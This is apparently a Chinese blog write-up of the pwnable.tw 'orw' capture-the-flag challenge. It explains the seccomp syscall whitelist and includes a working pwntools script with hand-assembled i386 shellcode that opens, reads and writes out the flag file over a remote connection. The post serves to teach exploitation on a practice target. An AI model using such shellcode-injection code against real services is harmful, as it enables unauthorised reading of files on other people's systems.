pwnable.tw---orw

最新推荐文章于 2024-04-07 10:56:38 发布

Jaken1223

最新推荐文章于 2024-04-07 10:56:38 发布

阅读量1.6k

点赞数

CC 4.0 BY-SA版权

分类专栏： Pwnable.tw

本文链接：https://blog.youkuaiyun.com/qq_35495684/article/details/80161177

Pwnable.tw 专栏收录该内容

2 篇文章

订阅专栏

本文详细解析了pwnable.tw平台上的orw题目，通过分析限制条件（如seccomp白名单机制），利用特定系统调用（如open(), read(), write()）来编写Shellcode，并成功获取flag。

pwnable.tw—orw

这题主要考验的是shellcode的自我制作，建议学会Linux Sysycall Reference 再来，或者第一题start彻底搞会。

题目分析：

照例：
这里写图片描述
就开了栈保护，虽然都没有什么用。

题目开始就是让你输入shellcode。
就用msf随便试了几下，发现有些被过滤了。
调试看看：
这里写图片描述
发现调用了seccomp，百度了下是一个linux的类似白名单的东西，它能使一个进程进入到一种“安全”运行模式，该模式下的进程只能调用4种系统调用（system calls），即read(), write(), exit()和sigreturn()，否则进程便会被终止。
seccomp详解

OK，那就是shellcode只能使用read(),write(),但是好像不能做些什么，又不能像start一样写执行的shellcode(调用execve)，所以很自然的想到了open()。

思路分析

写好设计代码，然后转化成汇编，然后在转化成机器码。

执行测试

伪代码：

char *file="/home/orw/flag"
sys_open(file,0,0)
sys_read(3,file,0x30)
sys_write(1,file,0x30)

汇编代码：

#coding:utf-8
from pwn  import *

file_name="./orw"
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p=process(file_name)#本地
p=remote('chall.pwnable.tw',10001)#远程
#shellcode=asm(shellcraft.sh())
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
#open(file,0,0)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
#read(3,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
#write(1,file,0x30)
def pwn():
    recv = p.recvuntil(':')
    p.sendline(shellcode)
    flag = p.recv(100)
    print flag
pwn()